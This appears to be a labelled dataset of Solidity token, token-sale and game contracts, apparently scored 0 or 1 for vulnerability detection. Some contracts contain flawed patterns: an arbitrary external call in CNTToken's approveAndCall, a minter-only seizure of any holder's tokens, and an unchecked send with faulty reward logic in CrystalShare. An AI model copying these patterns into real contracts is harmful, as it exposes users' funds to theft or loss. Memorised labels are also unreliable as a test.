require(numerator / denominator <= 2 && numerator > denominator);
buybackMultiplierNumerator = numerator;
buybackMultiplierDenominator = denominator;
buybackMultiplierLength = length;
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
}
function setTxLimit(uint256 amount) external authorized {
require(amount >= _totalSupply / 1000);
_maxTxAmount = amount;
}
function setIsDividendExempt(address holder, bool exempt) external authorized {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
distributor.setShare(holder, 0);
} else {
distributor.setShare(holder, _balances[holder]);
}
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setFees(uint256 _liquidityFee, uint256 _buybackFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
buybackFee = _buybackFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_buybackFee).add(_reflectionFee).add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator / 4);
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}
function setDistributorSettings(uint256 gas) external authorized {
require(gas < 750000);
distributorGas = gas;
}
function setClaimAs(address claimAs) external {
distributor.setClaimAs(msg.sender, claimAs);
}
function getClaimAs() public view returns (address) {
return distributor.getClaimAs(msg.sender);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
event BuybackMultiplierActive(uint256 duration);
} | 0 | 120 |
pragma solidity 0.5.3;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _BlacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender));
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _BlacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyBlacklistAdmin {
_addBlacklistAdmin(account);
}
function _addBlacklistAdmin(address account) internal {
_BlacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_BlacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract BlacklistedRole is BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistedAdded(address indexed account);
event BlacklistedRemoved(address indexed account);
Roles.Role private _Blacklisteds;
modifier onlyNotBlacklisted() {
require(!isBlacklisted(msg.sender));
_;
}
function isBlacklisted(address account) public view returns (bool) {
return _Blacklisteds.has(account);
}
function addBlacklisted(address account) public onlyBlacklistAdmin {
_addBlacklisted(account);
}
function removeBlacklisted(address account) public onlyBlacklistAdmin {
_removeBlacklisted(account);
}
function _addBlacklisted(address account) internal {
_Blacklisteds.add(account);
emit BlacklistedAdded(account);
}
function _removeBlacklisted(address account) internal {
_Blacklisteds.remove(account);
emit BlacklistedRemoved(account);
}
}
contract CNTToken is ERC20Detailed, ERC20Pausable, MinterRole, BlacklistedRole {
using SafeERC20 for ERC20;
bool bCalled;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 _totalSupply)
ERC20Pausable()
ERC20Detailed(name, symbol, decimals)
ERC20()
public
{
uint256 _totalSupplyWithDecimals = _totalSupply * 10 ** uint256(decimals);
mint(msg.sender, _totalSupplyWithDecimals);
bCalled = false;
}
function approveAndCall(
address _spender,
uint256 _value,
bytes memory _data
)
public
payable
onlyNotBlacklisted
whenNotPaused
returns (bool)
{
require(bCalled == false);
require(_spender != address(this));
require(approve(_spender, _value));
bCalled = true;
_spender.call.value(msg.value)(_data);
bCalled = false;
return true;
}
function transfer(address to, uint256 value) public onlyNotBlacklisted returns (bool) {
require(!isBlacklisted(to));
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public onlyNotBlacklisted returns (bool) {
require(!isBlacklisted(from));
require(!isBlacklisted(to));
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public onlyNotBlacklisted returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public onlyNotBlacklisted returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public onlyNotBlacklisted returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
function mint(address to, uint256 value) public onlyNotBlacklisted onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function sudoRetrieveFrom(address from, uint256 value) public onlyNotBlacklisted onlyMinter {
super._transfer(from, msg.sender, value);
}
function sudoBurnFrom(address from, uint256 value) public onlyNotBlacklisted onlyMinter {
_burn(from, value);
}
} | 0 | 2,531 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor() internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract LTOTokenSale is Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 constant minimumAmount = 0.1 ether;
uint256 constant maximumCapAmount = 40 ether;
uint256 constant ethDecimals = 1 ether;
uint256 constant ltoEthDiffDecimals = 10**10;
uint256 constant bonusRateDivision = 10000;
ERC20Burnable public token;
address public receiverAddr;
uint256 public totalSaleAmount;
uint256 public totalWannaBuyAmount;
uint256 public startTime;
uint256 public bonusEndTime;
uint256 public bonusPercentage;
uint256 public bonusDecreaseRate;
uint256 public endTime;
uint256 public userWithdrawalStartTime;
uint256 public clearStartTime;
uint256 public withdrawn;
uint256 public proportion = 1 ether;
uint256 public globalAmount;
uint256 public rate;
uint256 public nrOfTransactions = 0;
address public capListAddress;
mapping (address => bool) public capFreeAddresses;
struct PurchaserInfo {
bool withdrew;
bool recorded;
uint256 received;
uint256 accounted;
uint256 unreceived;
}
struct Purchase {
uint256 received;
uint256 used;
uint256 tokens;
}
mapping(address => PurchaserInfo) public purchaserMapping;
address[] public purchaserList;
modifier onlyOpenTime {
require(isStarted());
require(!isEnded());
_;
}
modifier onlyAutoWithdrawalTime {
require(isEnded());
_;
}
modifier onlyUserWithdrawalTime {
require(isUserWithdrawalTime());
_;
}
modifier purchasersAllWithdrawn {
require(withdrawn==purchaserList.length);
_;
}
modifier onlyClearTime {
require(isClearTime());
_;
}
modifier onlyCapListAddress {
require(msg.sender == capListAddress);
_;
}
constructor(address _receiverAddr, ERC20Burnable _token, uint256 _totalSaleAmount, address _capListAddress) public {
require(_receiverAddr != address(0));
require(_token != address(0));
require(_capListAddress != address(0));
require(_totalSaleAmount > 0);
receiverAddr = _receiverAddr;
token = _token;
totalSaleAmount = _totalSaleAmount;
capListAddress = _capListAddress;
}
function isStarted() public view returns(bool) {
return 0 < startTime && startTime <= now && endTime != 0;
}
function isEnded() public view returns(bool) {
return 0 < endTime && now > endTime;
}
function isUserWithdrawalTime() public view returns(bool) {
return 0 < userWithdrawalStartTime && now > userWithdrawalStartTime;
}
function isClearTime() public view returns(bool) {
return 0 < clearStartTime && now > clearStartTime;
}
function isBonusPeriod() public view returns(bool) {
return now >= startTime && now <= bonusEndTime;
}
function startSale(uint256 _startTime, uint256 _rate, uint256 duration,
uint256 bonusDuration, uint256 _bonusPercentage, uint256 _bonusDecreaseRate,
uint256 userWithdrawalDelaySec, uint256 clearDelaySec) public onlyOwner {
require(endTime == 0);
require(_startTime > 0);
require(_rate > 0);
require(duration > 0);
require(token.balanceOf(this) == totalSaleAmount);
rate = _rate;
bonusPercentage = _bonusPercentage;
bonusDecreaseRate = _bonusDecreaseRate;
startTime = _startTime;
bonusEndTime = startTime.add(bonusDuration);
endTime = startTime.add(duration);
userWithdrawalStartTime = endTime.add(userWithdrawalDelaySec);
clearStartTime = endTime.add(clearDelaySec);
}
function getPurchaserCount() public view returns(uint256) {
return purchaserList.length;
}
function _calcProportion() internal {
assert(totalSaleAmount > 0);
if (totalSaleAmount >= totalWannaBuyAmount) {
proportion = ethDecimals;
return;
}
proportion = totalSaleAmount.mul(ethDecimals).div(totalWannaBuyAmount);
}
function getSaleInfo(address purchaser) internal view returns (Purchase p) {
PurchaserInfo storage pi = purchaserMapping[purchaser];
return Purchase(
pi.received,
pi.received.mul(proportion).div(ethDecimals),
pi.accounted.mul(proportion).div(ethDecimals).mul(rate).div(ltoEthDiffDecimals)
);
}
function getPublicSaleInfo(address purchaser) public view returns (uint256, uint256, uint256) {
Purchase memory purchase = getSaleInfo(purchaser);
return (purchase.received, purchase.used, purchase.tokens);
}
function () payable public {
buy();
}
function buy() payable public onlyOpenTime {
require(msg.value >= minimumAmount);
uint256 amount = msg.value;
PurchaserInfo storage pi = purchaserMapping[msg.sender];
if (!pi.recorded) {
pi.recorded = true;
purchaserList.push(msg.sender);
}
uint256 totalAmount = pi.received.add(amount);
if (totalAmount > maximumCapAmount && !isCapFree(msg.sender)) {
uint256 recap = totalAmount.sub(maximumCapAmount);
amount = amount.sub(recap);
if (amount <= 0) {
revert();
} else {
msg.sender.transfer(recap);
}
}
pi.received = pi.received.add(amount);
globalAmount = globalAmount.add(amount);
if (isBonusPeriod() && bonusDecreaseRate.mul(nrOfTransactions) < bonusPercentage) {
uint256 percentage = bonusPercentage.sub(bonusDecreaseRate.mul(nrOfTransactions));
uint256 bonus = amount.div(bonusRateDivision).mul(percentage);
amount = amount.add(bonus);
}
pi.accounted = pi.accounted.add(amount);
totalWannaBuyAmount = totalWannaBuyAmount.add(amount.mul(rate).div(ltoEthDiffDecimals));
_calcProportion();
nrOfTransactions = nrOfTransactions.add(1);
}
function _withdrawal(address purchaser) internal {
require(purchaser != 0x0);
PurchaserInfo storage pi = purchaserMapping[purchaser];
if (pi.withdrew || !pi.recorded) {
return;
}
pi.withdrew = true;
withdrawn = withdrawn.add(1);
Purchase memory purchase = getSaleInfo(purchaser);
if (purchase.used > 0 && purchase.tokens > 0) {
receiverAddr.transfer(purchase.used);
require(token.transfer(purchaser, purchase.tokens));
uint256 unused = purchase.received.sub(purchase.used);
if (unused > 0) {
if (!purchaser.send(unused)) {
pi.unreceived = unused;
}
}
} else {
assert(false);
}
return;
}
function withdrawal() public onlyUserWithdrawalTime {
_withdrawal(msg.sender);
}
function withdrawalFor(uint256 index, uint256 stop) public onlyAutoWithdrawalTime onlyOwner {
for (; index < stop; index++) {
_withdrawal(purchaserList[index]);
}
}
function clear(uint256 tokenAmount, uint256 etherAmount) public purchasersAllWithdrawn onlyClearTime onlyOwner {
if (tokenAmount > 0) {
token.burn(tokenAmount);
}
if (etherAmount > 0) {
receiverAddr.transfer(etherAmount);
}
}
function withdrawFailed(address alternativeAddress) public onlyUserWithdrawalTime nonReentrant {
require(alternativeAddress != 0x0);
PurchaserInfo storage pi = purchaserMapping[msg.sender];
require(pi.recorded);
require(pi.unreceived > 0);
if (alternativeAddress.send(pi.unreceived)) {
pi.unreceived = 0;
}
}
function addCapFreeAddress(address capFreeAddress) public onlyCapListAddress {
require(capFreeAddress != address(0));
capFreeAddresses[capFreeAddress] = true;
}
function removeCapFreeAddress(address capFreeAddress) public onlyCapListAddress {
require(capFreeAddress != address(0));
capFreeAddresses[capFreeAddress] = false;
}
function isCapFree(address capFreeAddress) internal view returns (bool) {
return (capFreeAddresses[capFreeAddress]);
}
function currentBonus() public view returns(uint256) {
return bonusPercentage.sub(bonusDecreaseRate.mul(nrOfTransactions));
}
} | 1 | 3,133 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function subVirus(address , uint256 ) public {}
function claimPrizePool(address , uint256 ) public {}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal( address , uint256 ) public {}
}
contract CrystalShare {
using SafeMath for uint256;
bool init = false;
address public administrator;
uint256 public HALF_TIME = 60 * 5;
uint256 public round = 0;
CryptoEngineerInterface public EngineerContract;
CryptoMiningWarInterface public MiningWarContract;
uint256 public miningWarDeadline;
uint256 constant public CRTSTAL_MINING_PERIOD = 86400;
mapping(uint256 => Game) public games;
mapping(address => Player) public players;
struct Game {
uint256 round;
uint256 crystals;
uint256 prizePool;
uint256 endTime;
bool ended;
}
struct Player {
uint256 currentRound;
uint256 lastRound;
uint256 reward;
uint256 share;
}
event EndRound(uint256 round, uint256 crystals, uint256 prizePool, uint256 endTime);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
constructor() public {
administrator = msg.sender;
MiningWarContract = CryptoMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
EngineerContract = CryptoEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function setupMiniGame( uint256 , uint256 _miningWarDeadline ) public
{
miningWarDeadline = _miningWarDeadline;
}
function startGame() public
{
require(msg.sender == administrator);
require(init == false);
init = true;
miningWarDeadline = getMiningWarDealine();
games[round].ended = true;
startRound();
}
function startRound() private
{
require(games[round].ended == true);
uint256 crystalsLastRound = games[round].crystals;
uint256 prizePoolLastRound= games[round].prizePool;
round = round + 1;
uint256 endTime = now + HALF_TIME;
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
if (crystalsLastRound <= 0) {
prizePool = SafeMath.add(prizePool, prizePoolLastRound);
}
EngineerContract.claimPrizePool(address(this), prizePool);
games[round] = Game(round, 0, prizePool, endTime, false);
}
function endRound() private
{
require(games[round].ended == false);
require(games[round].endTime <= now);
Game storage g = games[round];
g.ended = true;
startRound();
emit EndRound(g.round, g.crystals, g.prizePool, g.endTime);
}
function share(uint256 _value) public disableContract
{
require(miningWarDeadline > now);
require(games[round].ended == false);
require(_value >= 10000);
MiningWarContract.subCrystal(msg.sender, _value);
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Game storage g = games[round];
uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
g.crystals = SafeMath.add(g.crystals, _share);
Player storage p = players[msg.sender];
if (p.currentRound == round) {
p.share = SafeMath.add(p.share, _share);
} else {
p.share = _share;
p.currentRound = round;
}
}
function withdrawReward() public disableContract
{
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Player storage p = players[msg.sender];
msg.sender.send(p.reward);
p.reward = 0;
}
function updateReward(address _addr) private
{
Player storage p = players[_addr];
if (
games[p.currentRound].ended == true &&
p.lastRound < p.currentRound
) {
p.reward = SafeMath.add(p.share, calculateReward(msg.sender, p.currentRound));
p.lastRound = p.currentRound;
}
}
function calculateReward(address _addr, uint256 _round) public view returns(uint256)
{
Player memory p = players[_addr];
Game memory g = games[_round];
if (g.endTime > now) return 0;
if (g.crystals == 0) return 0;
return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);
}
function getEngineerPrizePool() private view returns(uint256)
{
return EngineerContract.prizePool();
}
function getMiningWarDealine () private view returns(uint256)
{
return MiningWarContract.deadline();
}
} | 0 | 2,029 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GeoToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function GeoToken() public {
symbol = "GT";
name = "GeoToken";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xF735626041da9f5B4F2d8D90f351a2d25aa04ED9] = _totalSupply;
Transfer(address(0), 0xF735626041da9f5B4F2d8D90f351a2d25aa04ED9, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,475 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
